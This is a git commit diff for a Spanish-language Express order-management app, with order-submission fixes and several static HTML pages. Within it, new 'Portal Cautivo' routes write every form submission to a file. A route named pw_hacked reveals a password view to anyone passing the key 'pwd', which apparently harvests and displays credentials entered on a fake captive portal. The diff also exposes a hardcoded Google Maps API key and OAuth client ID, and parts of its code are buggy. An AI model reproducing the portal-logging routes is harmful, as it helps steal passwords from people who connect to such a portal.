Correcion al enviar pedidos. al servidor. Generacion de Mensajes SnackBar
This commit is contained in:
@@ -86,6 +86,7 @@ app.get('/pruebaJson',function(req,res){
|
||||
|
||||
//archivos staticos
|
||||
app.use(express.static(path.join(__dirname, 'public')));
|
||||
//app.set('trust proxy', true);
|
||||
|
||||
//inicia servidor
|
||||
app.listen(app.get('port'),() =>{
|
||||
|
||||
@@ -156,12 +156,12 @@ controlador.app_pedidos_clientes = (req, res) => {
|
||||
|
||||
//CONSULTA CLIENTE CLOUD C.I-RUC => ruta:/busquedaSRI
|
||||
var data_url0 = 'http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php';
|
||||
var data_url1 = "https://xsystem.ddns.net/app/clientes_cloud.php";
|
||||
var data_url1 = "https://siax-system.net/app/clientes_cloud.php";
|
||||
var data_url2 = "http://sheyla2.dyndns.info/SRI/SRI.php";
|
||||
var data_url3 = "http://192.168.10.100:8000/test_post";
|
||||
var arrayUrl = [
|
||||
"http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php",
|
||||
"https://xsystem.ddns.net/api/clientes_cloud.php",
|
||||
"https://siax-system.net/api/clientes_cloud.php",
|
||||
"http://sheyla2.dyndns.info/SRI/SRI.php",
|
||||
"http://192.168.10.100:8000/test_post",
|
||||
"solo testing"
|
||||
|
||||
@@ -243,7 +243,8 @@ controlador.recibe_pedidos = async (req, res) => {
|
||||
PedUsoPrdct_iva: json.iva,
|
||||
PedUsoPrdct_origen: json.origen
|
||||
};
|
||||
ingreso_pedido(req, pedido, json.items);
|
||||
var id_ped = ingreso_pedido(req, pedido, json.items);
|
||||
res.json({ id: id_ped, message: "Pedido Ingresado" });
|
||||
//await console.log(await ingreso_pedido(req,pedido));
|
||||
//await ingreso_detalle(req, id_ped, json.items);
|
||||
};
|
||||
@@ -262,10 +263,12 @@ async function ingreso_pedido(req, pedido_data, items) {
|
||||
ingreso_detalle(req, lastInsert, items)
|
||||
//res.json({ sision: "ORDEN INGRESADA" });
|
||||
//res.redirect('/clientes');//redireciona a la ruta inical de la app
|
||||
return lastInsert;
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
async function ingreso_detalle(req, id_ped, data) {
|
||||
//console.log("ID Pedido: "+id_ped);
|
||||
for (var i = 0; i < data.length; i++) {
|
||||
@@ -329,5 +332,30 @@ controlador.recibe_datos = (req, res) => {
|
||||
//res.render('panel_control');
|
||||
};
|
||||
|
||||
//********** Portal Cautivo ********//
|
||||
controlador.portal = (req, res) => {
|
||||
console.log(req.body);
|
||||
res.render('portal');
|
||||
};
|
||||
const {saveToFile} = require('../scripts/File_io');
|
||||
controlador.portal_log = (req, res) => {
|
||||
console.log(req.body);
|
||||
saveToFile(req.body);
|
||||
res.send(200);
|
||||
};
|
||||
|
||||
//query => key: '1234567890',
|
||||
controlador.pw_hacked = (req, res) => {
|
||||
var hostname = req.headers.host;
|
||||
var key = req.query.key;
|
||||
console.log(req.query);
|
||||
if(key==='pwd'){
|
||||
res.render('ver_pass');
|
||||
}else{
|
||||
res.render('no_autorizado');
|
||||
}
|
||||
|
||||
};
|
||||
|
||||
|
||||
module.exports = controlador;
|
||||
|
||||
17
src/public/Html/BusquedaYoutube.html
Normal file
17
src/public/Html/BusquedaYoutube.html
Normal file
@@ -0,0 +1,17 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Search</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="buttons">
|
||||
<label> <input id="query" value='cats' type="text"/><button id="search-button" onclick="search()">Search</button></label>
|
||||
</div>
|
||||
<div id="search-container">
|
||||
</div>
|
||||
<script src="https://www.gstatic.com/external_hosted/jquery2.min.js"></script>
|
||||
<script src="auth.js"></script>
|
||||
<script src="search.js"></script>
|
||||
<script src="https://apis.google.com/js/client.js?onload=googleApiClientReady"></script>
|
||||
</body>
|
||||
</html>
|
||||
58
src/public/Html/auth.js
Normal file
58
src/public/Html/auth.js
Normal file
@@ -0,0 +1,58 @@
|
||||
// The client ID is obtained from the Google API Console
|
||||
// at https://console.developers.google.com/.
|
||||
// If you run this code from a server other than http://localhost,
|
||||
// you need to register your own client ID.
|
||||
var OAUTH2_CLIENT_ID = '361238658-ipvtecve83v9hmp037el45ebao4guqmm.apps.googleusercontent.com';
|
||||
var OAUTH2_SCOPES = [
|
||||
'https://www.googleapis.com/auth/youtube'
|
||||
];
|
||||
|
||||
// Upon loading, the Google APIs JS client automatically invokes this callback.
|
||||
googleApiClientReady = function() {
|
||||
gapi.auth.init(function() {
|
||||
window.setTimeout(checkAuth, 1);
|
||||
});
|
||||
}
|
||||
|
||||
// Attempt the immediate OAuth 2.0 client flow as soon as the page loads.
|
||||
// If the currently logged-in Google Account has previously authorized
|
||||
// the client specified as the OAUTH2_CLIENT_ID, then the authorization
|
||||
// succeeds with no user intervention. Otherwise, it fails and the
|
||||
// user interface that prompts for authorization needs to display.
|
||||
function checkAuth() {
|
||||
gapi.auth.authorize({
|
||||
client_id: OAUTH2_CLIENT_ID,
|
||||
scope: OAUTH2_SCOPES,
|
||||
immediate: true
|
||||
}, handleAuthResult);
|
||||
}
|
||||
|
||||
// Handle the result of a gapi.auth.authorize() call.
|
||||
function handleAuthResult(authResult) {
|
||||
if (authResult && !authResult.error) {
|
||||
// Authorization was successful. Hide authorization prompts and show
|
||||
// content that should be visible after authorization succeeds.
|
||||
$('.pre-auth').hide();
|
||||
$('.post-auth').show();
|
||||
loadAPIClientInterfaces();
|
||||
} else {
|
||||
// Make the #login-link clickable. Attempt a non-immediate OAuth 2.0
|
||||
// client flow. The current function is called when that flow completes.
|
||||
$('#login-link').click(function() {
|
||||
gapi.auth.authorize({
|
||||
client_id: OAUTH2_CLIENT_ID,
|
||||
scope: OAUTH2_SCOPES,
|
||||
immediate: false
|
||||
}, handleAuthResult);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Load the client interfaces for the YouTube Analytics and Data APIs, which
|
||||
// are required to use the Google APIs JS client. More info is available at
|
||||
// https://developers.google.com/api-client-library/javascript/dev/dev_jscript#loading-the-client-library-and-the-api
|
||||
function loadAPIClientInterfaces() {
|
||||
gapi.client.load('youtube', 'v3', function() {
|
||||
handleAPILoaded();
|
||||
});
|
||||
}
|
||||
11
src/public/Html/contenedor.css
Normal file
11
src/public/Html/contenedor.css
Normal file
@@ -0,0 +1,11 @@
|
||||
.pantalla{
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 90%;
|
||||
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.cubo{
|
||||
position: relative;
|
||||
}
|
||||
4
src/public/Html/control.js
Normal file
4
src/public/Html/control.js
Normal file
@@ -0,0 +1,4 @@
|
||||
var listaRep = ['https://www.youtube.com/watch?v=wDk99yR4r8U&ab_channel=HombresG-Topic',''];
|
||||
function controlYt(){
|
||||
var rep = document.getElementById('ytplayer');
|
||||
}
|
||||
5524
src/public/Html/cv.html
Normal file
5524
src/public/Html/cv.html
Normal file
File diff suppressed because one or more lines are too long
422
src/public/Html/cv2.html
Normal file
422
src/public/Html/cv2.html
Normal file
File diff suppressed because one or more lines are too long
494
src/public/Html/formulario_creacionWebs.html
Normal file
494
src/public/Html/formulario_creacionWebs.html
Normal file
@@ -0,0 +1,494 @@
|
||||
<html>
|
||||
<head>
|
||||
|
||||
<head>
|
||||
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/css/materialize.min.css">
|
||||
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.0.min.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/js/materialize.min.js"></script>
|
||||
|
||||
<!--Google Map-->
|
||||
<script async defer
|
||||
src="https://maps.googleapis.com/maps/api/js?key=AIzaSyD_mGoJG4jAVG95O5BZuFe1eskSlWn5Q1M&callback=initMap">
|
||||
</script>
|
||||
</head>
|
||||
</head>
|
||||
|
||||
<body class="container">
|
||||
<ul class="collapsible" data-collapsible="accordion">
|
||||
<!-- Datos web -->
|
||||
<li>
|
||||
<div class="collapsible-header">
|
||||
<i class="material-icons">developer_board</i>Datos Web
|
||||
|
||||
</div>
|
||||
<div class="collapsible-body">
|
||||
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
|
||||
|
||||
<div class="input-field col s6">
|
||||
<input id="NombreEmpre" type="text" class="validate">
|
||||
<label for="NombreEmpre">Nombre</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="Slogan" type="text" class="validate">
|
||||
<label for="Slogan">Slogan</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="QuienesSomos" type="text" class="validate">
|
||||
<label for="QuienesSomos">Quienes Somos</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="Mision" type="text" class="validate">
|
||||
<label for="Mision">Mision</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="Vision" type="text" class="validate">
|
||||
<label for="Vision">Vision</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="Orientacion" type="text" class="validate">
|
||||
<label for="Orientacion">Orientacion</label>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
<!-- Diseño -->
|
||||
<li>
|
||||
<div class="collapsible-header">
|
||||
<i class="material-icons">view_quilt</i>Diseño
|
||||
</div>
|
||||
<div class="collapsible-body">
|
||||
<div id="conten_pedidoCliente">
|
||||
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
|
||||
<div class="input-field col s12">Colores</div>
|
||||
|
||||
<div class="input-field col s6">
|
||||
|
||||
<input id="Primario" type="text" class="validate">
|
||||
<label for="Primario">Primario</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="Secundario" type="text" class="validate">
|
||||
<label for="Secundario">Secundario</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="Tipo_Fuente" type="text" class="validate">
|
||||
<label for="Tipo_Fuente">Tipo de Fuente</label>
|
||||
</div>
|
||||
<div class="input-field col s6 file-field ">
|
||||
<div>
|
||||
<!-- <i class="material-icons left">folder_special</i> -->
|
||||
<input id="logotipo" type="file" class="validate">
|
||||
|
||||
</div>
|
||||
<div class="file-path-wrapper">
|
||||
<input id="logotipo" class="file-path validate" type="text" placeholder="Buscar Logotipo">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="input-field col s6 file-field ">
|
||||
<div>
|
||||
<!-- <i class="material-icons left">folder_special</i> -->
|
||||
<input id="Isotipo" type="file" class="validate">
|
||||
|
||||
</div>
|
||||
<div class="file-path-wrapper">
|
||||
<input id="Isotipo" class="file-path validate" type="text" placeholder="Buscar Isotipo">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
<!-- Datos de la empresa -->
|
||||
<li>
|
||||
<div class="collapsible-header">
|
||||
<i class="material-icons">store_mall_directory</i>Datos de la Empresa
|
||||
</div>
|
||||
<div class="collapsible-body">
|
||||
<div id="conten_DatosEmpresa">
|
||||
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
|
||||
<div class="input-field col s6">
|
||||
<input id="ruc" type="text" class="validate">
|
||||
<label for="ruc">RUC</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="telefono" type="text" class="validate">
|
||||
<label for="telefono">Telefono</label>
|
||||
</div>
|
||||
<div class="input-field col s12">Geolocalizacion
|
||||
<hr>
|
||||
</div>
|
||||
<div class="input-field col s1">
|
||||
<div id="localizacion">
|
||||
<a id="obtener" href="#mapmodel"
|
||||
class="modal-trigger blue z-depth-1 waves-effect waves-light btn-floating">
|
||||
<i class="material-icons">location_on</i>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="longitud" type="text" class="validate" readonly>
|
||||
<span class="helper-text" data-error="wrong" data-success="right">Longitud</span>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="latitud" type="text" class="validate" readonly>
|
||||
<span class="helper-text" data-error="wrong" data-success="right">Latitud</span>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="exactitud" type="text" class="validate" readonly>
|
||||
<span class="helper-text" data-error="wrong" data-success="right"></span>Exactitud</span>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s12">Plataformas
|
||||
<hr>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="WEB" type="checkbox" />
|
||||
<label for="WEB">WEB </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="Whatsapp" type="checkbox" class="validate">
|
||||
<label for="Whatsapp">Whatsapp </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="Telegram" type="checkbox" class="validate">
|
||||
<label for="Telegram">Telegram </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="Weechat" type="checkbox" class="validate">
|
||||
<label for="Weechat">Weechat </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="OtrasPla" type="text" class="validate">
|
||||
<label for="OtrasPla">Otras</label>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="input-field col s12">Redes Sociales
|
||||
<hr>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="Facebook" type="checkbox" class="validate">
|
||||
<label for="Facebook">Facebook </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="Whatsapp" type="checkbox" class="validate">
|
||||
<label for="Whatsapp">Whatsapp </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="Instagram" type="checkbox" class="validate">
|
||||
<label for="Instagram">Instagram </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="twitter" type="checkbox" class="validate">
|
||||
<label for="twitter">twitter </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s2">
|
||||
<input id="OtrasRedes" type="text" class="validate">
|
||||
<label for="OtrasRedes">Otras</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s6">
|
||||
<input id="Direccion" type="text" class="validate">
|
||||
<label for="Direccion">Direccion</label>
|
||||
</div>
|
||||
<div class="input-field col s6">
|
||||
<input id="horario" type="text" class="validate">
|
||||
<label for="horario">Horario de Atencion</label>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
<!-- Datos Cobro -->
|
||||
<li>
|
||||
<div class="collapsible-header">
|
||||
<i class="material-icons">attach_money</i>Datos de Cobro de la Empresa hacia los Clientes
|
||||
</div>
|
||||
<div class="collapsible-body">
|
||||
<div id="conten_DatosCobro">
|
||||
<div class="row" style="padding-left: 15px; padding-right: 15px; padding-top: 0;">
|
||||
<div class="input-field col s12">Cuenta Bancaria 1
|
||||
<hr>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s6">
|
||||
<input id="Corriente1" name="group1" type="radio" class="validate with-gap">
|
||||
<label for="Corriente1">Cta. Corriente </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s6">
|
||||
<input id="Ahorros1" name="group1" type="radio" class="validate with-gap">
|
||||
<label for="Ahorros1">Cta. Ahorros </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="NombreCta1" type="text" class="validate">
|
||||
<label for="NombreCta1">Nombre </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="Cuenta1" type="text" class="validate">
|
||||
<label for="Cuenta1">Nª Cuenta</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="Email1" type="email" class="validate">
|
||||
<label for="Email1">Email</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="Banco1" type="text" class="validate">
|
||||
<label for="Banco1">Nombre del Banco</label>
|
||||
</div>
|
||||
<div class="input-field col s12">Cuenta Bancaria 2
|
||||
<hr>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s6">
|
||||
<input id="Corriente2" name="group1" type="radio" class="validate with-gap">
|
||||
<label for="Corriente2">Cta. Corriente </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s6">
|
||||
<input id="Ahorros2" name="group1" type="radio" class="validate with-gap">
|
||||
<label for="Ahorros2">Cta. Ahorros </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="NombreCta2" type="text" class="validate">
|
||||
<label for="NombreCta2">Nombre </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="Cuenta2" type="text" class="validate">
|
||||
<label for="Cuenta2">Nª Cuenta</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="Email2" type="email" class="validate">
|
||||
<label for="Email2">Email</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="Banco2" type="text" class="validate">
|
||||
<label for="Banco2">Nombre del Banco</label>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="input-field col s12">Pagos Electronicos
|
||||
<hr>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="PayPal" type="checkbox" class="validate">
|
||||
<label for="PayPal">PayPal </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="Payphone" type="checkbox" class="validate">
|
||||
<label for="Payphone">Payphone </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="Exchaege" type="checkbox" class="validate">
|
||||
<label for="Exchaege">Exchaege </label>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div class="input-field col s3">
|
||||
<input id="OtrosPaEl" type="text" class="validate">
|
||||
<label for="OtrosPaEl">Otras</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s12">Envios
|
||||
<hr>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s4">
|
||||
<input id="CostoEnvio" type="text" class="validate">
|
||||
<label for="CostoEnvio">Costo de Envio</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s4">
|
||||
<input id="TiempoEnvio" type="text" class="validate">
|
||||
<label for="TiempoEnvio">Tiempo de Envio</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s4">
|
||||
<input id="Cobertura" type="text" class="validate">
|
||||
<label for="Cobertura">Cobertura</label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s12">Metodo de Envio
|
||||
<hr>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s4">
|
||||
<input id="Servientrega" type="checkbox" class="validate">
|
||||
<label for="Servientrega">Servientrega </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s4">
|
||||
<input id="TramacoExpress" type="checkbox" class="validate">
|
||||
<label for="TramacoExpress">TramacoExpress </label>
|
||||
</div>
|
||||
|
||||
<div class="input-field col s4">
|
||||
<input id="Otras" type="text" class="validate">
|
||||
<label for="Otras">Otras</label>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</li>
|
||||
<!-- Correos -->
|
||||
<li>
|
||||
<div class="collapsible-header">
|
||||
<i class="material-icons">account_circle</i>Correos
|
||||
</div>
|
||||
<div class="collapsible-body">
|
||||
<p>
|
||||
|
||||
</p>
|
||||
</div>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<button class="btn waves-effect waves-light" onclick="EnviarDatos()" type="submit" name="action">Guardar
|
||||
<i class="material-icons right">send</i>
|
||||
</button>
|
||||
|
||||
<div id="mapmodel" class="modal modal-fixed-footer">
|
||||
<div class="modal-content">
|
||||
<h4>map div inside model:</h4>
|
||||
<div id="googleMap2" style="width:500px;height:380px;"></div>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<a href="#" class="red modal-action modal-close waves-effect waves-green btn-flat">Got it</a>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
function iniciar() {
|
||||
|
||||
var boton = document.getElementById('obtener');
|
||||
|
||||
boton.addEventListener('click', obtener, false);
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
function obtener() { navigator.geolocation.getCurrentPosition(mostrar, gestionarErrores); }
|
||||
|
||||
|
||||
|
||||
function mostrar(posicion) {
|
||||
var latitud = posicion.coords.latitude;
|
||||
var longitud = posicion.coords.longitude;
|
||||
var exactitud = posicion.coords.accuracy;
|
||||
document.getElementById('latitud').value = latitud;
|
||||
document.getElementById('longitud').value = longitud;
|
||||
document.getElementById('exactitud').value = exactitud + " metros";
|
||||
cargarMapa(latitud, longitud)
|
||||
}
|
||||
|
||||
function cargarMapa(latitud, longitud) {
|
||||
var mapProp = {
|
||||
center: new google.maps.LatLng(latitud, longitud),
|
||||
zoom: 14,
|
||||
mapTypeId: google.maps.MapTypeId.ROADMAP
|
||||
};
|
||||
|
||||
var map2 = new google.maps.Map(document.getElementById("googleMap2"), mapProp);
|
||||
var marker = new google.maps.Marker({
|
||||
position: { lat: latitud, lng: longitud },
|
||||
mapProp: mapProp,
|
||||
draggable: true,
|
||||
});
|
||||
}
|
||||
google.maps.event.addDomListener(window, 'load', cargarMapa);
|
||||
|
||||
$(document).ready(function () {
|
||||
//MAKE SURE YOU CALL .leanModal METHOD THIS WAY.
|
||||
//ELSE MODAL MAP WILL NOT SHOW PROPERLY.
|
||||
$('.modal-trigger').leanModal({
|
||||
ready: function () {
|
||||
var map2 = document.getElementById("googleMap2");
|
||||
google.maps.event.trigger(map2, 'resize');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
function gestionarErrores(error) {
|
||||
|
||||
alert('Error: ' + error.code + ' ' + error.message + '\n\nPor favor compruebe que está conectado ' +
|
||||
|
||||
'a internet y habilite la opción permitir compartir ubicación física');
|
||||
|
||||
}
|
||||
window.addEventListener('load', iniciar, false);
|
||||
|
||||
|
||||
function EnviarDatos(){
|
||||
|
||||
//var NomEmpre = document.getElementById('NombreEmpre').value;
|
||||
//var Slog = document.getElementById('Slogan').value;
|
||||
//var QuiSo = document.getElementById('QuienesSomos').value;
|
||||
//var Misi = document.getElementById('Mision').value;
|
||||
//var Visi = document.getElementById('Vision').value;
|
||||
//var Orie = document.getElementById('Orientacion').value;
|
||||
|
||||
//var ColPrim = document.getElementById('Primario').value;
|
||||
//var ColSecu = document.getElementById('Secundario').value;
|
||||
//var TiFu = document.getElementById('Tipo_Fuente').value;
|
||||
//var Logo = document.getElementById('Logotipo').value;
|
||||
//var Isot = document.getElementById('Isotipo').value;
|
||||
|
||||
//var ruc = document.getElementById('RUC').value;
|
||||
//var telefono = document.getElementById('Telefono').value;
|
||||
//var longitud = document.getElementById('longitud').value;
|
||||
//var latitud = document.getElementById('latitud').value;
|
||||
//var exactitud = document.getElementById('exactitud').value;
|
||||
var web = document.getElementById('W').value;
|
||||
var whatsapp = document.getElementById('Whatsapp').value;
|
||||
var telegram = document.getElementById('Telegram').value;
|
||||
var weechat = document.getElementById('Weechat').value;
|
||||
var otras = document.getElementById('OtrasPla').value;
|
||||
|
||||
//var DaWeb = {"Nombre":NomEmpre,"Slogan":Slog};
|
||||
console.log(web)
|
||||
|
||||
}
|
||||
|
||||
|
||||
</script>
|
||||
</body>
|
||||
|
||||
|
||||
</html>
|
||||
130
src/public/Html/menu.css
Normal file
130
src/public/Html/menu.css
Normal file
@@ -0,0 +1,130 @@
|
||||
@import url('http://fonts.googleapis.com/css?family=Poppins:100,200,300,400,500,600,700,800,900');
|
||||
*
|
||||
{
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family:'Poppins',sans-serif;
|
||||
}
|
||||
:root{
|
||||
--clr:#222327;
|
||||
--clr0:#050505;
|
||||
}
|
||||
body{
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
/*background: var(--clr);*/
|
||||
}
|
||||
.container{
|
||||
display: flex;
|
||||
justify-content:center;
|
||||
align-items: center;
|
||||
width: 420px;
|
||||
height:600px;
|
||||
background: var(--clr)
|
||||
}
|
||||
.navigation{
|
||||
width: 400px;
|
||||
height:70px;
|
||||
background: #fff;
|
||||
border-radius: 10px;
|
||||
/*position: relative;*/
|
||||
|
||||
}
|
||||
.navigation ul{
|
||||
display: flex;
|
||||
width: 350px;
|
||||
}
|
||||
.navigation ul li{
|
||||
position: relative;
|
||||
list-style: none;
|
||||
width: 70px;
|
||||
height:70px;
|
||||
z-index: 1;
|
||||
}
|
||||
.navigation ul li a{
|
||||
position: relative;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
flex-direction: column;
|
||||
width:100%;
|
||||
text-align: center;
|
||||
font-weight: 500;
|
||||
}
|
||||
.navigation ul li a .icon{
|
||||
position: relative;
|
||||
display: block;
|
||||
line-height: 75px;
|
||||
font-size: 1.5em;
|
||||
text-align: center;
|
||||
transition: 0.5s;
|
||||
color: var(--clr);
|
||||
}
|
||||
.navigation ul li.active a .icon{
|
||||
transform: translateY(-35px);
|
||||
}
|
||||
.navigation ul li a .text{
|
||||
position: absolute;
|
||||
color: var(--clr);
|
||||
font-weight: 400;
|
||||
font-size: 0.75em;
|
||||
letter-spacing: 0.05em;
|
||||
transition: 0.5s;
|
||||
opacity: 0;
|
||||
transform: translateY(20px);
|
||||
}
|
||||
.navigation ul li.active a .text{
|
||||
opacity: 1;
|
||||
transform: translateY(10px);
|
||||
}
|
||||
.indicator{
|
||||
position: absolute;
|
||||
top: 42.5%;
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
background: #29fd53;
|
||||
border-radius: 50%;
|
||||
border: 6px solid var(--clr);
|
||||
transition: 0.5s;
|
||||
}
|
||||
.indicator::before{
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
width: 22px;
|
||||
height: 22px;
|
||||
left: -22px;
|
||||
/*background: #f00;*/
|
||||
border-top-right-radius: 20px;
|
||||
box-shadow: 0px -10px 0 0 var(--clr);
|
||||
}
|
||||
.indicator::after{
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
width: 22px;
|
||||
height: 22px;
|
||||
right: -22px;
|
||||
/*background: #f00;*/
|
||||
border-top-left-radius: 20px;
|
||||
box-shadow: 0px -10px 0 0 var(--clr);
|
||||
}
|
||||
|
||||
.navigation ul li:nth-child(1).active ~ .indicator{
|
||||
transform: translateX(calc(70px*0));
|
||||
}
|
||||
.navigation ul li:nth-child(2).active ~ .indicator{
|
||||
transform: translateX(calc(70px*1));
|
||||
}
|
||||
.navigation ul li:nth-child(3).active ~ .indicator{
|
||||
transform: translateX(calc(70px*2));
|
||||
}
|
||||
.navigation ul li:nth-child(4).active ~ .indicator{
|
||||
transform: translateX(calc(70px*3));
|
||||
}
|
||||
.navigation ul li:nth-child(5).active ~ .indicator{
|
||||
transform: translateX(calc(70px*4));
|
||||
}
|
||||
78
src/public/Html/menu.html
Normal file
78
src/public/Html/menu.html
Normal file
@@ -0,0 +1,78 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="es" dir="ltr">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title></title>
|
||||
<link rel="stylesheet" type="text/css" href="menu.css">
|
||||
<link rel="stylesheet" type="text/css" href="contenedor.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="cubo">
|
||||
<div>
|
||||
<span style="--i:0;"></span>
|
||||
<span style="--i:1;"></span>
|
||||
<span style="--i:2;"></span>
|
||||
<span style="--i:3;"></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="navigation">
|
||||
<ul>
|
||||
<li class="list active">
|
||||
<a href="#">
|
||||
<span class="icon">
|
||||
<ion-icon name="home-outline"></ion-icon>
|
||||
</span>
|
||||
<span class="text">Inicio</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list">
|
||||
<a href="#">
|
||||
<span class="icon">
|
||||
<ion-icon name="chatbubble-outline"></ion-icon>
|
||||
</span>
|
||||
<span class="text">Soporte</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list">
|
||||
<a href="#">
|
||||
<span class="icon">
|
||||
<ion-icon name="barcode-outline"></ion-icon>
|
||||
</span>
|
||||
<span class="text">Sinc</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list">
|
||||
<a href="#">
|
||||
<span class="icon">
|
||||
<ion-icon name="finger-print-outline"></ion-icon>
|
||||
</span>
|
||||
<span class="text">Acceder</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list">
|
||||
<a href="#">
|
||||
<span class="icon">
|
||||
<ion-icon name="settings-outline"></ion-icon>
|
||||
</span>
|
||||
<span class="text">Ajustes</span>
|
||||
</a>
|
||||
</li>
|
||||
<div class="indicator"></div>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
const list = document.querySelectorAll('.list');
|
||||
function activeLink(){
|
||||
list.forEach((item)=>
|
||||
item.classList.remove('active'));
|
||||
this.classList.add('active');
|
||||
}
|
||||
list.forEach((item)=>
|
||||
item.addEventListener('click',activeLink));
|
||||
</script>
|
||||
<script type="module" src="https://unpkg.com/ionicons@5.5.2/dist/ionicons/ionicons.esm.js"></script>
|
||||
<script nomodule src="https://unpkg.com/ionicons@5.5.2/dist/ionicons/ionicons.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
42
src/public/Html/obtenerPosicionGmaps.html
Normal file
42
